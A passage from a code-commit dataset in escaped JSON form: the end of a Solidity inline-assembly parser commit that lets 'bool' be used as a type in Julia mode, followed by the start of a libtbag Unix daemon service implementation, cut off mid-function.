Parser::instructions()\n{\n\t\/\/ Allowed instructions, lowercase names.\n\tstatic map<string, dev::solidity::Instruction> s_instructions;\n\tif (s_instructions.empty())\n\t{\n\t\tfor (auto const& instruction: solidity::c_instructions)\n\t\t{\n\t\t\tif (\n\t\t\t\tinstruction.second == solidity::Instruction::JUMPDEST ||\n\t\t\t\t(solidity::Instruction::PUSH1 <= instruction.second && instruction.second <= solidity::Instruction::PUSH32)\n\t\t\t)\n\t\t\t\tcontinue;\n\t\t\tstring name = instruction.first;\n\t\t\ttransform(name.begin(), name.end(), name.begin(), [](unsigned char _c) { return tolower(_c); });\n\t\t\ts_instructions[name] = instruction.second;\n\t\t}\n\n\t\t\/\/ add alias for suicide\n\t\ts_instructions[\"suicide\"] = solidity::Instruction::SELFDESTRUCT;\n\t}\n\treturn s_instructions;\n}\n\nassembly::Statement Parser::parseElementaryOperation(bool _onlySinglePusher)\n{\n\tStatement ret;\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Identifier:\n\tcase Token::Return:\n\tcase Token::Byte:\n\tcase Token::Address:\n\t{\n\t\tstring literal;\n\t\tif (m_scanner->currentToken() == Token::Return)\n\t\t\tliteral = \"return\";\n\t\telse if (m_scanner->currentToken() == Token::Byte)\n\t\t\tliteral = \"byte\";\n\t\telse if (m_scanner->currentToken() == Token::Address)\n\t\t\tliteral = \"address\";\n\t\telse\n\t\t\tliteral = m_scanner->currentLiteral();\n\t\t\/\/ first search the set of instructions.\n\t\tif (!m_julia && instructions().count(literal))\n\t\t{\n\t\t\tdev::solidity::Instruction const& instr = instructions().at(literal);\n\t\t\tif (_onlySinglePusher)\n\t\t\t{\n\t\t\t\tInstructionInfo info = dev::solidity::instructionInfo(instr);\n\t\t\t\tif (info.ret != 1)\n\t\t\t\t\tfatalParserError(\"Instruction \" + info.name + \" not allowed in this context.\");\n\t\t\t}\n\t\t\tret = Instruction{location(), instr};\n\t\t}\n\t\telse\n\t\t\tret = Identifier{location(), literal};\n\t\tm_scanner->next();\n\t\tbreak;\n\t}\n\tcase Token::StringLiteral:\n\tcase Token::Number:\n\tcase Token::TrueLiteral:\n\tcase Token::FalseLiteral:\n\t{\n\t\tLiteralKind kind = LiteralKind::Number;\n\t\tswitch (m_scanner->currentToken())\n\t\t{\n\t\tcase Token::StringLiteral:\n\t\t\tkind = LiteralKind::String;\n\t\t\tbreak;\n\t\tcase Token::Number:\n\t\t\tkind = LiteralKind::Number;\n\t\t\tbreak;\n\t\tcase Token::TrueLiteral:\n\t\tcase Token::FalseLiteral:\n\t\t\tkind = LiteralKind::Boolean;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\tLiteral literal{\n\t\t\tlocation(),\n\t\t\tkind,\n\t\t\tm_scanner->currentLiteral(),\n\t\t\t\"\"\n\t\t};\n\t\tm_scanner->next();\n\t\tif (m_julia)\n\t\t{\n\t\t\texpectToken(Token::Colon);\n\t\t\tliteral.location.end = endPosition();\n\t\t\tliteral.type = expectAsmIdentifier();\n\t\t}\n\t\telse if (kind == LiteralKind::Boolean)\n\t\t\tfatalParserError(\"True and false are not valid literals.\");\n\t\tret = std::move(literal);\n\t\tbreak;\n\t}\n\tdefault:\n\t\tfatalParserError(\n\t\t\tm_julia ?\n\t\t\t\"Literal or identifier expected.\" :\n\t\t\t\"Expected elementary inline assembly operation.\"\n\t\t);\n\t}\n\treturn ret;\n}\n\nassembly::VariableDeclaration Parser::parseVariableDeclaration()\n{\n\tVariableDeclaration varDecl = createWithLocation<VariableDeclaration>();\n\texpectToken(Token::Let);\n\tvarDecl.variable = parseTypedName();\n\texpectToken(Token::Colon);\n\texpectToken(Token::Assign);\n\tvarDecl.value.reset(new Statement(parseExpression()));\n\tvarDecl.location.end = locationOf(*varDecl.value).end;\n\treturn varDecl;\n}\n\nassembly::FunctionDefinition Parser::parseFunctionDefinition()\n{\n\tFunctionDefinition funDef = createWithLocation<FunctionDefinition>();\n\texpectToken(Token::Function);\n\tfunDef.name = expectAsmIdentifier();\n\texpectToken(Token::LParen);\n\twhile (m_scanner->currentToken() != Token::RParen)\n\t{\n\t\tfunDef.arguments.emplace_back(parseTypedName());\n\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\tbreak;\n\t\texpectToken(Token::Comma);\n\t}\n\texpectToken(Token::RParen);\n\tif (m_scanner->currentToken() == Token::Sub)\n\t{\n\t\texpectToken(Token::Sub);\n\t\texpectToken(Token::GreaterThan);\n\t\twhile (true)\n\t\t{\n\t\t\tfunDef.returns.emplace_back(parseTypedName());\n\t\t\tif (m_scanner->currentToken() == Token::LBrace)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t}\n\tfunDef.body = parseBlock();\n\tfunDef.location.end = funDef.body.location.end;\n\treturn funDef;\n}\n\nassembly::Statement Parser::parseFunctionalInstruction(assembly::Statement&& _instruction)\n{\n\tif (_instruction.type() == typeid(Instruction))\n\t{\n\t\tsolAssert(!m_julia, \"Instructions are invalid in JULIA\");\n\t\tFunctionalInstruction ret;\n\t\tret.instruction = std::move(boost::get<Instruction>(_instruction));\n\t\tret.location = ret.instruction.location;\n\t\tsolidity::Instruction instr = ret.instruction.instruction;\n\t\tInstructionInfo instrInfo = instructionInfo(instr);\n\t\tif (solidity::Instruction::DUP1 <= instr && instr <= solidity::Instruction::DUP16)\n\t\t\tfatalParserError(\"DUPi instructions not allowed for functional notation\");\n\t\tif (solidity::Instruction::SWAP1 <= instr && instr <= solidity::Instruction::SWAP16)\n\t\t\tfatalParserError(\"SWAPi instructions not allowed for functional notation\");\n\t\texpectToken(Token::LParen);\n\t\tunsigned args = unsigned(instrInfo.args);\n\t\tfor (unsigned i = 0; i < args; ++i)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (i != args - 1)\n\t\t\t{\n\t\t\t\tif (m_scanner->currentToken() != Token::Comma)\n\t\t\t\t\tfatalParserError(string(\n\t\t\t\t\t\t\"Expected comma (\" +\n\t\t\t\t\t\tinstrInfo.name +\n\t\t\t\t\t\t\" expects \" +\n\t\t\t\t\t\tboost::lexical_cast<string>(args) +\n\t\t\t\t\t\t\" arguments)\"\n\t\t\t\t\t));\n\t\t\t\telse\n\t\t\t\t\tm_scanner->next();\n\t\t\t}\n\t\t}\n\t\tret.location.end = endPosition();\n\t\tif (m_scanner->currentToken() == Token::Comma)\n\t\t\tfatalParserError(\n\t\t\t\tstring(\"Expected ')' (\" + instrInfo.name + \" expects \" + boost::lexical_cast<string>(args) + \" arguments)\")\n\t\t\t);\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse if (_instruction.type() == typeid(Identifier))\n\t{\n\t\tFunctionCall ret;\n\t\tret.functionName = std::move(boost::get<Identifier>(_instruction));\n\t\tret.location = ret.functionName.location;\n\t\texpectToken(Token::LParen);\n\t\twhile (m_scanner->currentToken() != Token::RParen)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t\tret.location.end = endPosition();\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse\n\t\tfatalParserError(\n\t\t\tm_julia ?\n\t\t\t\"Function name expected.\" :\n\t\t\t\"Assembly instruction or function name required in front of \\\"(\\\")\"\n\t\t);\n\n\treturn {};\n}\n\nTypedName Parser::parseTypedName()\n{\n\tTypedName typedName = createWithLocation<TypedName>();\n\ttypedName.name = expectAsmIdentifier();\n\tif (m_julia)\n\t{\n\t\texpectToken(Token::Colon);\n\t\ttypedName.location.end = endPosition();\n\t\ttypedName.type = expectAsmIdentifier();\n\t}\n\treturn typedName;\n}\n\nstring Parser::expectAsmIdentifier()\n{\n\tstring name = m_scanner->currentLiteral();\n\tif (!m_julia && instructions().count(name))\n\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\texpectToken(Token::Identifier);\n\treturn name;\n}\n<commit_msg>Accept bool as a type in Julia mode<commit_after>\/*\n\tThis file is part of solidity.\n\n\tsolidity is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tsolidity is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with solidity.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/**\n * @author Christian <c@ethdev.com>\n * @date 2016\n * Solidity inline assembly parser.\n *\/\n\n#include <libsolidity\/inlineasm\/AsmParser.h>\n#include <ctype.h>\n#include <algorithm>\n#include <libsolidity\/parsing\/Scanner.h>\n#include <libsolidity\/interface\/Exceptions.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::solidity;\nusing namespace dev::solidity::assembly;\n\nshared_ptr<assembly::Block> Parser::parse(std::shared_ptr<Scanner> const& _scanner)\n{\n\ttry\n\t{\n\t\tm_scanner = _scanner;\n\t\treturn make_shared<Block>(parseBlock());\n\t}\n\tcatch (FatalError const&)\n\t{\n\t\tif (m_errors.empty())\n\t\t\tthrow; \/\/ Something is weird here, rather throw again.\n\t}\n\treturn nullptr;\n}\n\nassembly::Block Parser::parseBlock()\n{\n\tassembly::Block block = createWithLocation<Block>();\n\texpectToken(Token::LBrace);\n\twhile (m_scanner->currentToken() != Token::RBrace)\n\t\tblock.statements.emplace_back(parseStatement());\n\tblock.location.end = endPosition();\n\tm_scanner->next();\n\treturn block;\n}\n\nassembly::Statement Parser::parseStatement()\n{\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Let:\n\t\treturn parseVariableDeclaration();\n\tcase Token::Function:\n\t\treturn parseFunctionDefinition();\n\tcase Token::LBrace:\n\t\treturn parseBlock();\n\tcase Token::Assign:\n\t{\n\t\tif (m_julia)\n\t\t\tbreak;\n\t\tassembly::Assignment assignment = createWithLocation<assembly::Assignment>();\n\t\tm_scanner->next();\n\t\texpectToken(Token::Colon);\n\t\tassignment.variableName.location = location();\n\t\tassignment.variableName.name = m_scanner->currentLiteral();\n\t\tif (!m_julia && instructions().count(assignment.variableName.name))\n\t\t\tfatalParserError(\"Identifier expected, got instruction name.\");\n\t\tassignment.location.end = endPosition();\n\t\texpectToken(Token::Identifier);\n\t\treturn assignment;\n\t}\n\tcase Token::Return: \/\/ opcode\n\tcase Token::Byte: \/\/ opcode\n\tcase Token::Address: \/\/ opcode\n\tdefault:\n\t\tbreak;\n\t}\n\t\/\/ Options left:\n\t\/\/ Simple instruction (might turn into functional),\n\t\/\/ literal,\n\t\/\/ identifier (might turn into label or functional assignment)\n\tStatement statement(parseElementaryOperation(false));\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::LParen:\n\t\treturn parseFunctionalInstruction(std::move(statement));\n\tcase Token::Colon:\n\t{\n\t\tif (statement.type() != typeid(assembly::Identifier))\n\t\t\tfatalParserError(\"Label name \/ variable name must precede \\\":\\\".\");\n\t\tassembly::Identifier const& identifier = boost::get<assembly::Identifier>(statement);\n\t\tm_scanner->next();\n\t\t\/\/ identifier:=: should be parsed as identifier: =: (i.e. a label),\n\t\t\/\/ while identifier:= (being followed by a non-colon) as identifier := (assignment).\n\t\tif (m_scanner->currentToken() == Token::Assign && m_scanner->peekNextToken() != Token::Colon)\n\t\t{\n\t\t\t\/\/ functional assignment\n\t\t\tFunctionalAssignment funAss = createWithLocation<FunctionalAssignment>(identifier.location);\n\t\t\tif (!m_julia && instructions().count(identifier.name))\n\t\t\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\t\t\tm_scanner->next();\n\t\t\tfunAss.variableName = identifier;\n\t\t\tfunAss.value.reset(new Statement(parseExpression()));\n\t\t\tfunAss.location.end = locationOf(*funAss.value).end;\n\t\t\treturn funAss;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ label\n\t\t\tif (m_julia)\n\t\t\t\tfatalParserError(\"Labels are not supported.\");\n\t\t\tLabel label = createWithLocation<Label>(identifier.location);\n\t\t\tlabel.name = identifier.name;\n\t\t\treturn label;\n\t\t}\n\t}\n\tdefault:\n\t\tif (m_julia)\n\t\t\tfatalParserError(\"Call or assignment expected.\");\n\t\tbreak;\n\t}\n\treturn statement;\n}\n\nassembly::Statement Parser::parseExpression()\n{\n\tStatement operation = parseElementaryOperation(true);\n\tif (m_scanner->currentToken() == Token::LParen)\n\t\treturn parseFunctionalInstruction(std::move(operation));\n\telse\n\t\treturn operation;\n}\n\nstd::map<string, dev::solidity::Instruction> const& Parser::instructions()\n{\n\t\/\/ Allowed instructions, lowercase names.\n\tstatic map<string, dev::solidity::Instruction> s_instructions;\n\tif (s_instructions.empty())\n\t{\n\t\tfor (auto const& instruction: solidity::c_instructions)\n\t\t{\n\t\t\tif (\n\t\t\t\tinstruction.second == solidity::Instruction::JUMPDEST ||\n\t\t\t\t(solidity::Instruction::PUSH1 <= instruction.second && instruction.second <= solidity::Instruction::PUSH32)\n\t\t\t)\n\t\t\t\tcontinue;\n\t\t\tstring name = instruction.first;\n\t\t\ttransform(name.begin(), name.end(), name.begin(), [](unsigned char _c) { return tolower(_c); });\n\t\t\ts_instructions[name] = instruction.second;\n\t\t}\n\n\t\t\/\/ add alias for suicide\n\t\ts_instructions[\"suicide\"] = solidity::Instruction::SELFDESTRUCT;\n\t}\n\treturn s_instructions;\n}\n\nassembly::Statement Parser::parseElementaryOperation(bool _onlySinglePusher)\n{\n\tStatement ret;\n\tswitch (m_scanner->currentToken())\n\t{\n\tcase Token::Identifier:\n\tcase Token::Return:\n\tcase Token::Byte:\n\tcase Token::Address:\n\t{\n\t\tstring literal;\n\t\tif (m_scanner->currentToken() == Token::Return)\n\t\t\tliteral = \"return\";\n\t\telse if (m_scanner->currentToken() == Token::Byte)\n\t\t\tliteral = \"byte\";\n\t\telse if (m_scanner->currentToken() == Token::Address)\n\t\t\tliteral = \"address\";\n\t\telse\n\t\t\tliteral = m_scanner->currentLiteral();\n\t\t\/\/ first search the set of instructions.\n\t\tif (!m_julia && instructions().count(literal))\n\t\t{\n\t\t\tdev::solidity::Instruction const& instr = instructions().at(literal);\n\t\t\tif (_onlySinglePusher)\n\t\t\t{\n\t\t\t\tInstructionInfo info = dev::solidity::instructionInfo(instr);\n\t\t\t\tif (info.ret != 1)\n\t\t\t\t\tfatalParserError(\"Instruction \" + info.name + \" not allowed in this context.\");\n\t\t\t}\n\t\t\tret = Instruction{location(), instr};\n\t\t}\n\t\telse\n\t\t\tret = Identifier{location(), literal};\n\t\tm_scanner->next();\n\t\tbreak;\n\t}\n\tcase Token::StringLiteral:\n\tcase Token::Number:\n\tcase Token::TrueLiteral:\n\tcase Token::FalseLiteral:\n\t{\n\t\tLiteralKind kind = LiteralKind::Number;\n\t\tswitch (m_scanner->currentToken())\n\t\t{\n\t\tcase Token::StringLiteral:\n\t\t\tkind = LiteralKind::String;\n\t\t\tbreak;\n\t\tcase Token::Number:\n\t\t\tkind = LiteralKind::Number;\n\t\t\tbreak;\n\t\tcase Token::TrueLiteral:\n\t\tcase Token::FalseLiteral:\n\t\t\tkind = LiteralKind::Boolean;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\tLiteral literal{\n\t\t\tlocation(),\n\t\t\tkind,\n\t\t\tm_scanner->currentLiteral(),\n\t\t\t\"\"\n\t\t};\n\t\tm_scanner->next();\n\t\tif (m_julia)\n\t\t{\n\t\t\texpectToken(Token::Colon);\n\t\t\tliteral.location.end = endPosition();\n\t\t\tliteral.type = expectAsmIdentifier();\n\t\t}\n\t\telse if (kind == LiteralKind::Boolean)\n\t\t\tfatalParserError(\"True and false are not valid literals.\");\n\t\tret = std::move(literal);\n\t\tbreak;\n\t}\n\tdefault:\n\t\tfatalParserError(\n\t\t\tm_julia ?\n\t\t\t\"Literal or identifier expected.\" :\n\t\t\t\"Expected elementary inline assembly operation.\"\n\t\t);\n\t}\n\treturn ret;\n}\n\nassembly::VariableDeclaration Parser::parseVariableDeclaration()\n{\n\tVariableDeclaration varDecl = createWithLocation<VariableDeclaration>();\n\texpectToken(Token::Let);\n\tvarDecl.variable = parseTypedName();\n\texpectToken(Token::Colon);\n\texpectToken(Token::Assign);\n\tvarDecl.value.reset(new Statement(parseExpression()));\n\tvarDecl.location.end = locationOf(*varDecl.value).end;\n\treturn varDecl;\n}\n\nassembly::FunctionDefinition Parser::parseFunctionDefinition()\n{\n\tFunctionDefinition funDef = createWithLocation<FunctionDefinition>();\n\texpectToken(Token::Function);\n\tfunDef.name = expectAsmIdentifier();\n\texpectToken(Token::LParen);\n\twhile (m_scanner->currentToken() != Token::RParen)\n\t{\n\t\tfunDef.arguments.emplace_back(parseTypedName());\n\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\tbreak;\n\t\texpectToken(Token::Comma);\n\t}\n\texpectToken(Token::RParen);\n\tif (m_scanner->currentToken() == Token::Sub)\n\t{\n\t\texpectToken(Token::Sub);\n\t\texpectToken(Token::GreaterThan);\n\t\twhile (true)\n\t\t{\n\t\t\tfunDef.returns.emplace_back(parseTypedName());\n\t\t\tif (m_scanner->currentToken() == Token::LBrace)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t}\n\tfunDef.body = parseBlock();\n\tfunDef.location.end = funDef.body.location.end;\n\treturn funDef;\n}\n\nassembly::Statement Parser::parseFunctionalInstruction(assembly::Statement&& _instruction)\n{\n\tif (_instruction.type() == typeid(Instruction))\n\t{\n\t\tsolAssert(!m_julia, \"Instructions are invalid in JULIA\");\n\t\tFunctionalInstruction ret;\n\t\tret.instruction = std::move(boost::get<Instruction>(_instruction));\n\t\tret.location = ret.instruction.location;\n\t\tsolidity::Instruction instr = ret.instruction.instruction;\n\t\tInstructionInfo instrInfo = instructionInfo(instr);\n\t\tif (solidity::Instruction::DUP1 <= instr && instr <= solidity::Instruction::DUP16)\n\t\t\tfatalParserError(\"DUPi instructions not allowed for functional notation\");\n\t\tif (solidity::Instruction::SWAP1 <= instr && instr <= solidity::Instruction::SWAP16)\n\t\t\tfatalParserError(\"SWAPi instructions not allowed for functional notation\");\n\t\texpectToken(Token::LParen);\n\t\tunsigned args = unsigned(instrInfo.args);\n\t\tfor (unsigned i = 0; i < args; ++i)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (i != args - 1)\n\t\t\t{\n\t\t\t\tif (m_scanner->currentToken() != Token::Comma)\n\t\t\t\t\tfatalParserError(string(\n\t\t\t\t\t\t\"Expected comma (\" +\n\t\t\t\t\t\tinstrInfo.name +\n\t\t\t\t\t\t\" expects \" +\n\t\t\t\t\t\tboost::lexical_cast<string>(args) +\n\t\t\t\t\t\t\" arguments)\"\n\t\t\t\t\t));\n\t\t\t\telse\n\t\t\t\t\tm_scanner->next();\n\t\t\t}\n\t\t}\n\t\tret.location.end = endPosition();\n\t\tif (m_scanner->currentToken() == Token::Comma)\n\t\t\tfatalParserError(\n\t\t\t\tstring(\"Expected ')' (\" + instrInfo.name + \" expects \" + boost::lexical_cast<string>(args) + \" arguments)\")\n\t\t\t);\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse if (_instruction.type() == typeid(Identifier))\n\t{\n\t\tFunctionCall ret;\n\t\tret.functionName = std::move(boost::get<Identifier>(_instruction));\n\t\tret.location = ret.functionName.location;\n\t\texpectToken(Token::LParen);\n\t\twhile (m_scanner->currentToken() != Token::RParen)\n\t\t{\n\t\t\tret.arguments.emplace_back(parseExpression());\n\t\t\tif (m_scanner->currentToken() == Token::RParen)\n\t\t\t\tbreak;\n\t\t\texpectToken(Token::Comma);\n\t\t}\n\t\tret.location.end = endPosition();\n\t\texpectToken(Token::RParen);\n\t\treturn ret;\n\t}\n\telse\n\t\tfatalParserError(\n\t\t\tm_julia ?\n\t\t\t\"Function name expected.\" :\n\t\t\t\"Assembly instruction or function name required in front of \\\"(\\\")\"\n\t\t);\n\n\treturn {};\n}\n\nTypedName Parser::parseTypedName()\n{\n\tTypedName typedName = createWithLocation<TypedName>();\n\ttypedName.name = expectAsmIdentifier();\n\tif (m_julia)\n\t{\n\t\texpectToken(Token::Colon);\n\t\ttypedName.location.end = endPosition();\n\t\ttypedName.type = expectAsmIdentifier();\n\t}\n\treturn typedName;\n}\n\nstring Parser::expectAsmIdentifier()\n{\n\tstring name = m_scanner->currentLiteral();\n\tif (m_julia)\n\t{\n\t\tif (m_scanner->currentToken() == Token::Bool)\n\t\t{\n\t\t\tm_scanner->next();\n\t\t\treturn name;\n\t\t}\n\t}\n\telse if (instructions().count(name))\n\t\tfatalParserError(\"Cannot use instruction names for identifier names.\");\n\texpectToken(Token::Identifier);\n\treturn name;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file   UnixService.cpp\n * @brief  UnixService class implementation.\n * @author zer0\n * @date   2017-05-27\n *\/\n\n#include <libtbag\/app\/details\/UnixService.hpp>\n#include <libtbag\/log\/Log.hpp>\n#include <libtbag\/filesystem\/Path.hpp>\n\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n#include <unistd.h>\n#include <fcntl.h>\n#endif\n\n#include <cassert>\n#include <csignal>\n#include <cstdio>\n#include <iostream>\n\n\/\/ -------------------\nNAMESPACE_LIBTBAG_OPEN\n\/\/ -------------------\n\nnamespace app     {\nnamespace details {\n\nstruct UnixService::Impl : private Noncopyable\n{\n    UnixService * parent;\n\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n    pid_t  sid; \/\/\/< Session ID.\n    pid_t pgid; \/\/\/< Process group ID.\n    pid_t ppid; \/\/\/< Parent Process ID.\n    pid_t  pid; \/\/\/< Process ID.\n\n    pid_t pid_file;\n#endif\n\n    Impl(UnixService * p) : parent(p)\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        sid  = 0;\n        pgid = 0;\n        ppid = 0;\n        pid  = 0;\n        pid_file = 0;\n#endif\n    }\n\n    ~Impl()\n    { \/* EMPTY. *\/ }\n\n    Err eliminateControlTerminals()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        pid = fork();\n\n        if (pid > 0) {\n            \/\/ This is parent process.\n            tDLogI(\"UnixService::Impl::eliminateControlTerminals() Exit Parent Process {}\", (int)getpid());\n            _exit(0);\n\n        } else if (pid < 0) {\n            Err const FORK_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::eliminateControlTerminals() fork() {} error\", getErrName(FORK_ERROR_CODE));\n            return FORK_ERROR_CODE;\n        }\n\n        \/\/ This is child process.\n        assert(pid == 0);\n\n        sid = setsid(); \/\/ Be a session leader.\n        if (sid == -1) {\n            Err const SETSID_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::eliminateControlTerminals() setsid() {} error\", getErrName(SETSID_ERROR_CODE));\n            return SETSID_ERROR_CODE;\n        }\n\n        pgid = getpgid(0);\n        ppid = getppid();\n         pid = getpid();\n\n        assert(sid == getsid(0));\n        assert(pid != 0);\n        assert(pgid == pid);\n\n        \/\/ Don't use this code:\n        \/\/  @code\n        \/\/   pid_t const INIT_PROCESS = 1;\n        \/\/   assert(ppid == INIT_PROCESS);\n        \/\/  @endcode\n        \/\/ Reason:\n        \/\/  It works with root privileges.\n\n        tDLogI(\"UnixService::Impl::eliminateControlTerminals() Fork child process: SID({}) PGID({}) PPID({}) PID({})\",\n               (int)sid, (int)pgid, (int)ppid, (int)pid);\n\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err changeRootDirectory()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        if (chdir(\"\/\") != 0) {\n            Err const CHDIR_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::changeRootDirectory() chdir() {} error\", getErrName(CHDIR_ERROR_CODE));\n            return CHDIR_ERROR_CODE;\n        }\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err ignoreSignals()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        ::signal(SIGHUP, SIG_IGN);\n\n        \/\/ Ignore TTY signals.\n        ::signal(SIGTSTP, SIG_IGN);\n        ::signal(SIGTTOU, SIG_IGN);\n        ::signal(SIGTTIN, SIG_IGN);\n\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err reopenStdio()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        stdin  = freopen(\"\/dev\/null\", \"r\", stdin);\n        stdout = freopen(\"\/dev\/null\", \"w\", stdout);\n        stderr = freopen(\"\/dev\/null\", \"w\", stderr);\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err zeroUmask()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        umask(0);\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err createPidFile(std::string const & path)\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        pid_file = open(path.c_str(), (O_RDWR | O_CREAT), 0600);\n        if (pid_file == -1) {\n            Err const OPEN_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::createPidFile() open() {} error\", getErrName(OPEN_ERROR_CODE));\n            return OPEN_ERROR_CODE;\n        }\n\n        \/\/ Try to lock file.\n        if (lockf(pid_file, F_TLOCK, 0) == -1) {\n            close(pid_file);\n            pid_file = 0;\n\n            \/\/ Couldn't get lock on lock file.\n            Err const LOCKF_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::createPidFile() lockf() {} error\", getErrName(LOCKF_ERROR_CODE));\n            return LOCKF_ERROR_CODE;\n        }\n\n        std::string const PID_STRING = std::to_string(getpid());\n        \/\/ Write pid to lock file.\n        ssize_t const write_size = write(pid_file, PID_STRING.c_str(), PID_STRING.length());\n        if (write_size == -1) {\n            tDLogW(\"UnixService::Impl::createPidFile() Write PID error: {}\", getErrName(getGlobalSystemError()));\n        }\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err removePidFile()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        if (pid_file > 0) {\n            lockf(pid_file, F_ULOCK, 0);\n            close(pid_file);\n            pid_file = 0;\n        }\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n};\n\n\/\/ ---------------------------\n\/\/ UnixService implementation.\n\/\/ ---------------------------\n\nUnixService::UnixService(std::string const & name)\n        : ServiceCommon(name), _impl(new Impl(this)), _pid_path(std::string(\"\/var\/run\/\") + name + \".pid\")\n{\n    assert(_impl != nullptr);\n}\n\nUnixService::~UnixService()\n{\n    \/\/ EMPTY.\n}\n\nErr UnixService::install()\n{\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n    return Err::E_ENOSYS;\n#else\n    return Err::E_ENOSYS;\n#endif\n}\n\nErr UnixService::uninstall()\n{\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n    return Err::E_ENOSYS;\n#else\n    return Err::E_ENOSYS;\n#endif\n}\n\nErr UnixService::start()\n{\n    Err code = Err::E_UNKNOWN;\n    code = _impl->eliminateControlTerminals();\n    if (isFailure(code)) {\n        return code;\n    }\n\n    code = _impl->changeRootDirectory();\n    if (isFailure(code)) {\n        return code;\n    }\n\n    _impl->ignoreSignals();\n    _impl->zeroUmask();\n    _impl->createPidFile(_pid_path);\n    _impl->reopenStdio();\n\n    return Err::E_SUCCESS;\n}\n\nErr UnixService::stop()\n{\n    _impl->removePidFile();\n    if (_pid_path.empty() == false) {\n        filesystem::Path(_pid_path).remove();\n    }\n    return Err::E_SUCCESS;\n}\n\n} \/\/ namespace details\n} \/\/ namespace app\n\n\/\/ --------------------\nNAMESPACE_LIBTBAG_CLOSE\n\/\/ --------------------\n\n<commit_msg>Trivial commit.<commit_after>\/**\n * @file   UnixService.cpp\n * @brief  UnixService class implementation.\n * @author zer0\n * @date   2017-05-27\n *\/\n\n#include <libtbag\/app\/details\/UnixService.hpp>\n#include <libtbag\/log\/Log.hpp>\n#include <libtbag\/filesystem\/Path.hpp>\n\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n#include <unistd.h>\n#include <fcntl.h>\n#endif\n\n#include <cassert>\n#include <csignal>\n#include <cstdio>\n#include <iostream>\n\n\/\/ -------------------\nNAMESPACE_LIBTBAG_OPEN\n\/\/ -------------------\n\nnamespace app     {\nnamespace details {\n\nstruct UnixService::Impl : private Noncopyable\n{\n    UnixService * parent;\n\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n    pid_t  sid; \/\/\/< Session ID.\n    pid_t pgid; \/\/\/< Process group ID.\n    pid_t ppid; \/\/\/< Parent Process ID.\n    pid_t  pid; \/\/\/< Process ID.\n\n    pid_t pid_file;\n#endif\n\n    Impl(UnixService * p) : parent(p)\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        sid  = 0;\n        pgid = 0;\n        ppid = 0;\n        pid  = 0;\n        pid_file = 0;\n#endif\n    }\n\n    ~Impl()\n    { \/* EMPTY. *\/ }\n\n    Err eliminateControlTerminals()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        pid = fork();\n\n        if (pid > 0) {\n            \/\/ This is parent process.\n            tDLogI(\"UnixService::Impl::eliminateControlTerminals() Exit Parent Process {}\", (int)getpid());\n            